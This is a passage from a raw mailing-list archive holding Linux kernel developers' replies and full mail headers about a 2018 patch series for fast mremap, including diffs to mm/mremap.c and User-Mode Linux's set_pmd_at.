bmVlZCB0aGVzZSB0d28gaW5jcmVtZW50YWwgb24gdG9wIG9mIEpvZWwncyBwYXRjaC4gUmljaGFy
ZCAtIGZlZWwgZnJlZQo+IHRvIHJlbG9jYXRlIHRoZSBhY3R1YWwgaW1wbGVtZW50YXRpb24gb2Yg
dGhlIHNldF9wZ2RfYXQgZWxzZXdoZXJlIC0gSSBwdXQgaXQKPiBhdCB0aGUgZW5kIG9mIHRsYi5j
Cj4gCj4gZGlmZiAtLWdpdCBhL2FyY2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oIGIvYXJjaC91
bS9pbmNsdWRlL2FzbS9wZ3RhYmxlLmgKPiBpbmRleCA3NDg1Mzk4ZDA3MzcuLjE2OTJkYTU1ZTYz
YSAxMDA2NDQKPiAtLS0gYS9hcmNoL3VtL2luY2x1ZGUvYXNtL3BndGFibGUuaAo+ICsrKyBiL2Fy
Y2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oCj4gQEAgLTM1OSw0ICszNTksNyBAQCBkbyB7wqDC
oMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg
wqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoCBcCj4gwqDCoMKgwqDCoMKgwqAgX19m
bHVzaF90bGJfb25lKCh2YWRkcikpO8KgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgXAo+IMKg
fSB3aGlsZSAoMCkKPiAKPiArZXh0ZXJuIHZvaWQgc2V0X3BtZF9hdChzdHJ1Y3QgbW1fc3RydWN0
ICptbSwgdW5zaWduZWQgbG9uZyBhZGRyLAo+ICvCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKg
IHBtZF90ICpwbWRwLCBwbWRfdCBwbWQpOwo+ICsKPiDCoCNlbmRpZgo+IGRpZmYgLS1naXQgYS9h
cmNoL3VtL2tlcm5lbC90bGIuYyBiL2FyY2gvdW0va2VybmVsL3RsYi5jCj4gaW5kZXggNzYzZDM1
YmRkYTAxLi5kMTdiNzQxODRiYTAgMTAwNjQ0Cj4gLS0tIGEvYXJjaC91bS9rZXJuZWwvdGxiLmMK
PiArKysgYi9hcmNoL3VtL2tlcm5lbC90bGIuYwo+IEBAIC02NDcsMyArNjQ3LDkgQEAgdm9pZCBm
b3JjZV9mbHVzaF9hbGwodm9pZCkKPiDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqDCoMKgwqAgdm1h
ID0gdm1hLT52bV9uZXh0Owo+IMKgwqDCoMKgwqDCoMKgIH0KPiDCoH0KPiArdm9pZCBzZXRfcG1k
X2F0KHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLCB1bnNpZ25lZCBsb25nIGFkZHIsCj4gK8KgwqDCoMKg
wqDCoMKgwqDCoMKgwqDCoMKgwqAgcG1kX3QgKnBtZHAsIHBtZF90IHBtZCkKPiArewo+ICvCoMKg
wqDCoMKgwqAgKnBtZHAgPSBwbWQ7Cj4gK30KPiArCj4gCgpMb29rcyBsaWtlIG1vcmUgYXJjaGl0
ZWN0dXJlcyBkb24ndCBkZWZpbmUgc2V0X3BtZF9hdC4gSSBhbSB0aGlua2luZyB0aGUKZWFzaWVz
dCB3YXkgZm9yd2FyZCBpcyB0byBqdXN0IGRvIHRoZSBmb2xsb3dpbmcsIGluc3RlYWQgb2YgZGVm
aW5pbmcKc2V0X3BtZF9hdCBmb3IgZXZlcnkgYXJjaGl0ZWN0dXJlIHRoYXQgZG9lc24ndCBjYXJl
IGFib3V0IGl0LiBUaG91Z2h0cz8KCmRpZmYgLS1naXQgYS9tbS9tcmVtYXAuYyBiL21tL21yZW1h
cC5jCmluZGV4IDdjZjZiMDk0MzA5MC4uMzFhZDY0ZGNkYWU2IDEwMDY0NAotLS0gYS9tbS9tcmVt
YXAuYworKysgYi9tbS9tcmVtYXAuYwpAQCAtMjgxLDcgKzI4MSw4IEBAIHVuc2lnbmVkIGxvbmcg
bW92ZV9wYWdlX3RhYmxlcyhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKIAkJCXNwbGl0X2h1
Z2VfcG1kKHZtYSwgb2xkX3BtZCwgb2xkX2FkZHIpOwogCQkJaWYgKHBtZF90cmFuc191bnN0YWJs
ZShvbGRfcG1kKSkKIAkJCQljb250aW51ZTsKLQkJfSBlbHNlIGlmIChleHRlbnQgPT0gUE1EX1NJ
WkUgJiYgSVNfRU5BQkxFRChDT05GSUdfSEFWRV9NT1ZFX1BNRCkpIHsKKwkJfSBlbHNlIGlmIChl
eHRlbnQgPT0gUE1EX1NJWkUpIHsKKyNpZmRlZiBDT05GSUdfSEFWRV9NT1ZFX1BNRAogCQkJLyoK
IAkJCSAqIElmIHRoZSBleHRlbnQgaXMgUE1ELXNpemVkLCB0cnkgdG8gc3BlZWQgdGhlIG1vdmUg
YnkKIAkJCSAqIG1vdmluZyBhdCB0aGUgUE1EIGxldmVsIGlmIHBvc3NpYmxlLgpAQCAtMjk2LDYg
KzI5Nyw3IEBAIHVuc2lnbmVkIGxvbmcgbW92ZV9wYWdlX3RhYmxlcyhzdHJ1Y3Qgdm1fYXJlYV9z
dHJ1Y3QgKnZtYSwKIAkJCQlkcm9wX3JtYXBfbG9ja3Modm1hKTsKIAkJCWlmIChtb3ZlZCkKIAkJ
CQljb250aW51ZTsKKyNlbmRpZgogCQl9CiAKIAkJaWYgKHB0ZV9hbGxvYyhuZXdfdm1hLT52bV9t
bSwgbmV3X3BtZCkpCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fXwpsaW51eC1zbnBzLWFyYyBtYWlsaW5nIGxpc3QKbGludXgtc25wcy1hcmNAbGlzdHMuaW5m
cmFkZWFkLm9yZwpodHRwOi8vbGlzdHMuaW5mcmFkZWFkLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2xp
bnV4LXNucHMtYXJj


From - Thu Nov 08 21:42:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: William Kucharski <william.kucharski@oracle.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 0/3] Add support for fast mremap
Date: Sun, 4 Nov 2018 00:56:48 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <D6FB3C15-A8C1-4694-A434-A7489F590E05@oracle.com>
References: <20181103040041.7085-1-joelaf@google.com>
 <6886607.O3ZT5bM3Cy@blindfold>
 <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
 <20181103183208.GA56850@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 12.2 \(3445.102.3\))
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541314658 12418 195.159.176.226 (4 Nov 2018 06:57:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 4 Nov 2018 06:57:38 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
 Rich Felker <dalias@libc.org>, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, linux-ia64@vge.kvack.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 r.kernel.org@lithops.sigma-star.at, hughd@google.com,
 "James E.J. Bottomley" <jejb@paris
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Nov 04 07:57:28 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gJCLg-00030N-Be
	for gla-linux-snps-arc@m.gmane.org; Sun, 04 Nov 2018 07:57:28 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:References:Message-Id:Date:
	In-Reply-To:From:Subject:Mime-Version:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=5/3mBHDPg8fhydIQno7tY6osmD3isn+ISyOo4hepzG8=; b=B52SGC7cj//SI2
	CPFaPzgoTdPfuY2CMDr7ilJ8nOcOxTDcDQxPGKlugMeZ7sdMIf3W4fY0wWPyRNbXeeoLCGZ8ROI5B
	WeH0mAmt1wk9p9zbF8ZCae1R1fkvHTV6ZjB5Csar27Mnz1Exrghb6sCFLq643uWFcmFdn9gIdKIF6
	RPo+ftLu5kDNiUpSqC9zw0pw2a503lwKfftWFbsZXFIWKXbaGLwWkwMMzVNZu/5+L2Lm46mMmDcjV
	7DdU5XxoBTTzeJ/nP1SfVzL5n358+k3VQ1H9MFneBTPRKyHqvBbTPWfgLJjFKBe+eRHjFtCX25K2J
	x+C2LtvNq/cELbg1oI8A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gJCNl-0004To-WF; Sun, 04 Nov 2018 06:59:38 +0000
Original-Received: from userp2130.oracle.com ([156.151.31.86])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gJCNi-0004SL-7w; Sun, 04 Nov 2018 06:59:35 +0000
Original-Received: from pps.filterd (userp2130.oracle.com [127.0.0.1])
 by userp2130.oracle.com (8.16.0.22/8.16.0.22) with SMTP id wA46u6n9035325;
 Sun, 4 Nov 2018 06:57:32 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=content-type :
 mime-version : subject : from : in-reply-to : date : cc :
 content-transfer-encoding : message-id : references : to;
 s=corp-2018-07-02; bh=Dv2JIDyr6hj+SI1f67+zM2v2M4uA+R2C7fKFV5CQ+kE=;
 b=Js7Nh27vbqOyY2gZ0UpqFfC92w4EMKr/VwCtgb/4hz0cpD+muu4dt9mHR/RIg7LXLRKM
 KSdQlyKUBJ0Wepu8UCnGYCRdHpxOUY3LSEVv1pS+k+mLUIjCdfn6slguWQuKOfCVqlp8
 L9lqOMCdjJaGmZq1nHUWfgmmHv1CnRaeRXXjaAPM2Xi2w1DSFM+8xUpoxcjRF6GwcHR2
 Q8VGkhI55EFSCNDiU2BqFcJrF9NDtefdCtLLfW7nm+lXI8yZIprvLVxRVTeAfWiOYVVD
 vSRxnGitTcbrLliDWcoiH4FzDASOny4srW6qN47aUOBPO6AznnIha2Je6/kcXA9kalmP rQ== 
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
 by userp2130.oracle.com with ESMTP id 2nh33tjd1e-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Sun, 04 Nov 2018 06:57:32 +0000
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
 by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id wA46vJtx021700
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Sun, 4 Nov 2018 06:57:21 GMT
Original-Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12])
 by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id wA46urU6025556;
 Sun, 4 Nov 2018 06:56:56 GMT
Original-Received: from [192.168.0.110] (/73.243.10.6)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Sat, 03 Nov 2018 23:56:53 -0700
In-Reply-To: <20181103183208.GA56850@google.com>
X-Mailer: Apple Mail (2.3445.102.3)
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=9066
 signatures=668683
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=999
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1807170000 definitions=main-1811040066
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_235934_423620_F7296ACC 
X-CRM114-Status: GOOD (  21.59  )
X-Spam-Score: -3.0 (---)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-3.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/,
 medium trust [156.151.31.86 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.5 DKIMWL_WL_HIGH         DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4694 gmane.linux.ports.mips.general:67295 gmane.linux.ports.m68k:10242 gmane.linux.ports.sh.devel:57747 gmane.linux.kernel.mm:206344 gmane.linux.ports.sparc:28723 gmane.linux.ports.hexagon:2003 gmane.linux.ports.riscv:1358 gmane.comp.emulators.kvm.arm.devel:19670 gmane.linux.ports.parisc:29271 gmane.linux.kernel:2914807 gmane.linux.ports.alpha:5414 gmane.linux.ports.ppc64.devel:165217
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4694>



> On Nov 3, 2018, at 12:32 PM, Joel Fernandes <joel@joelfernandes.org> wrote:
> 
> Looks like more architectures don't define set_pmd_at. I am thinking the
> easiest way forward is to just do the following, instead of defining
> set_pmd_at for every architecture that doesn't care about it. Thoughts?
> 
> diff --git a/mm/mremap.c b/mm/mremap.c
> index 7cf6b0943090..31ad64dcdae6 100644
> --- a/mm/mremap.c
> +++ b/mm/mremap.c
> @@ -281,7 +281,8 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
> 			split_huge_pmd(vma, old_pmd, old_addr);
> 			if (pmd_trans_unstable(old_pmd))
> 				continue;
> -		} else if (extent == PMD_SIZE && IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {
> +		} else if (extent == PMD_SIZE) {
> +#ifdef CONFIG_HAVE_MOVE_PMD
> 			/*
> 			 * If the extent is PMD-sized, try to speed the move by
> 			 * moving at the PMD level if possible.
> @@ -296,6 +297,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
> 				drop_rmap_locks(vma);
> 			if (moved)
> 				continue;
> +#endif
> 		}
> 
> 		if (pte_alloc(new_vma->vm_mm, new_pmd))
> 

That seems reasonable as there are going to be a lot of architectures that never have
mappings at the PMD level.

Have you thought about what might be needed to extend this paradigm to be able to
perform remaps at the PUD level, given many architectures already support PUD-mapped
pages?

    William Kucharski

From - Thu Nov 08 21:42:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 0/3] Add support for fast mremap
Date: Mon, 5 Nov 2018 20:36:00 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <20181106043600.GB139199@google.com>
References: <20181103040041.7085-1-joelaf@google.com>
 <6886607.O3ZT5bM3Cy@blindfold>
 <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
 <20181103183208.GA56850@google.com>
 <D6FB3C15-A8C1-4694-A434-A7489F590E05@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541478864 17852 195.159.176.226 (6 Nov 2018 04:34:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Nov 2018 04:34:24 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
 Rich Felker <dalias@libc.org>, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, linux-ia64@vge.kvack.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 r.kernel.org@lithops.sigma-star.at, hughd@google.com,
 "James E.J. Bottomley" <jejb@paris
To: William Kucharski <william.kucharski@oracle.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue Nov 06 05:34:15 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gJt46-0004Kc-B9
	for gla-linux-snps-arc@m.gmane.org; Tue, 06 Nov 2018 05:34:10 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=GNB8+miGN6hkAKYKnpd6ezvGDzhl3M7C6PQ7lJRgJ3I=; b=sEnKIypA9Py6/9
	aEg3T9VHSZmhtneWWgYa5Y/lC0qQAId20AuSxAm79UKRRX/ewav6raWSNxDPJ++tcj9xPaQUb4i68
	4uHLXhTkx1E3Lv+fIkkAdL/3L5yLSjspkO6UayIQDs2VDFhte+rZXe9bvb99lam/cxlq7DpiqU/qv
	uwEV93VwVeId7Ljb0JYX2zV1564F8CyP+aFnamc+RfYW5Zl3g9HEXZP8FQh0Uxxg4z5FiszvgW7WX
	dJTFo3KzyCieI8eg6LdT4C/FsmLt2UfbETDDhq+XpFV4H895zexza3Iz82J5a7LvJyj0DBP9P8AXj
	JBJWKZQjQnIRfklyaDSA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gJt6A-0006wS-8D; Tue, 06 Nov 2018 04:36:18 +0000
Original-Received: from mail-pg1-x543.google.com ([2607:f8b0:4864:20::543])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gJt67-0006vG-9a
 for linux-snps-arc@lists.infradead.org; Tue, 06 Nov 2018 04:36:16 +0000
Original-Received: by mail-pg1-x543.google.com with SMTP id y4so4796775pgc.12
 for <linux-snps-arc@lists.infradead.org>; Mon, 05 Nov 2018 20:36:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=2ZO7f7AbR0Q/Tv9r9GFR6EhQOtVlvtqVzi+kHQIwd6Q=;
 b=vFP1Hs1wYQcIlWGzK/RquQm7mPiYOK37zkYc9g7HM5f1UakBrd0LproiSxWxB+J+cw
 LwUgBiOgB/Mof2uCb5M7ypmLMYM7sa/OYV8c2R4EJZNkyEzkll/fFaiA1VN/bVpLQDnv
 N2x7os/SUx/84UCqqI0dyLJ344I+8ENkn6mEU=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=2ZO7f7AbR0Q/Tv9r9GFR6EhQOtVlvtqVzi+kHQIwd6Q=;
 b=Ydmjk+7F7nR+0rtiL67yUwn9vdcWI6dvN/n0D3x64mFqXrr1xTmXJb4y9931nR4hN1
 DfsT2StP9XMDCmJ3VXC02O5shesIIFNjzwMiEJFTzjvPDBlzJb5EAnONTOyuXQCh7uD/
 FoE4MqzS2d2flHEAvoc/vQG7+qeRPdgB0y3DgbtcKDiiiCjVb5DCK/dX1nXwlA5qYBsN
 TpExYA8MmYXG5qyctmbodjHqLgIfNBTtkh1frKVnKLJ9CXfl+KD/706LKEwNH+UA8SsH
 y65ELNcW3gYSjJUwPCe9qfVgLKidJqiYtwXegx29ErdaX6VcgaPObpRBY2E5qdkABW1l
 KdoA==
X-Gm-Message-State: AGRZ1gL5ykFCmEN5NNRymzN2TGFLqukxvofLYDLnR+cBWjzo6ppAk2Ip
 Y2AOEXXdYm4q32nUKn+cO9Eg+w==
X-Google-Smtp-Source: AJdET5ecnHmWHapBSfgQDaRa+d8XuLQo3dJlBpesDCXVYTiF4QhB2rt8xq4tK8y9MBGhfwYqJFpEjQ==
X-Received: by 2002:a63:5ec6:: with SMTP id
 s189mr21579640pgb.357.1541478962566; 
 Mon, 05 Nov 2018 20:36:02 -0800 (PST)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id c87-v6sm43985294pfe.93.2018.11.05.20.36.01
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Mon, 05 Nov 2018 20:36:01 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <D6FB3C15-A8C1-4694-A434-A7489F590E05@oracle.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181105_203615_330550_A6EDF888 
X-CRM114-Status: GOOD (  21.94  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:543 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4715 gmane.linux.ports.mips.general:67314 gmane.linux.ports.m68k:10243 gmane.linux.ports.sh.devel:57748 gmane.linux.kernel.mm:206482 gmane.linux.ports.sparc:28734 gmane.linux.ports.hexagon:2004 gmane.linux.ports.riscv:1382 gmane.comp.emulators.kvm.arm.devel:19681 gmane.linux.ports.parisc:29272 gmane.linux.kernel:2916507 gmane.linux.ports.alpha:5417 gmane.linux.ports.ppc64.devel:165287
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4715>

On Sun, Nov 04, 2018 at 12:56:48AM -0600, William Kucharski wrote:
> 
> 
> > On Nov 3, 2018, at 12:32 PM, Joel Fernandes <joel@joelfernandes.org> wrote:
> > 
> > Looks like more architectures don't define set_pmd_at. I am thinking the
> > easiest way forward is to just do the following, instead of defining
> > set_pmd_at for every architecture that doesn't care about it. Thoughts?
> > 
> > diff --git a/mm/mremap.c b/mm/mremap.c
> > index 7cf6b0943090..31ad64dcdae6 100644
> > --- a/mm/mremap.c
> > +++ b/mm/mremap.c
> > @@ -281,7 +281,8 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
> > 			split_huge_pmd(vma, old_pmd, old_addr);
> > 			if (pmd_trans_unstable(old_pmd))
> > 				continue;
> > -		} else if (extent == PMD_SIZE && IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {
> > +		} else if (extent == PMD_SIZE) {
> > +#ifdef CONFIG_HAVE_MOVE_PMD
> > 			/*
> > 			 * If the extent is PMD-sized, try to speed the move by
> > 			 * moving at the PMD level if possible.
> > @@ -296,6 +297,7 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
> > 				drop_rmap_locks(vma);
> > 			if (moved)
> > 				continue;
> > +#endif
> > 		}
> > 
> > 		if (pte_alloc(new_vma->vm_mm, new_pmd))
> > 
> 
> That seems reasonable as there are going to be a lot of architectures that never have
> mappings at the PMD level.

Ok, I will do it like this and resend.

> Have you thought about what might be needed to extend this paradigm to be able to
> perform remaps at the PUD level, given many architectures already support PUD-mapped
> pages?
> 

I have thought about this. I believe it is doable in the future. Off the top
I don't see an issue doing it, and it will also reduce the number of flushes.

thanks,

- Joel

From - Thu Nov 08 21:42:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
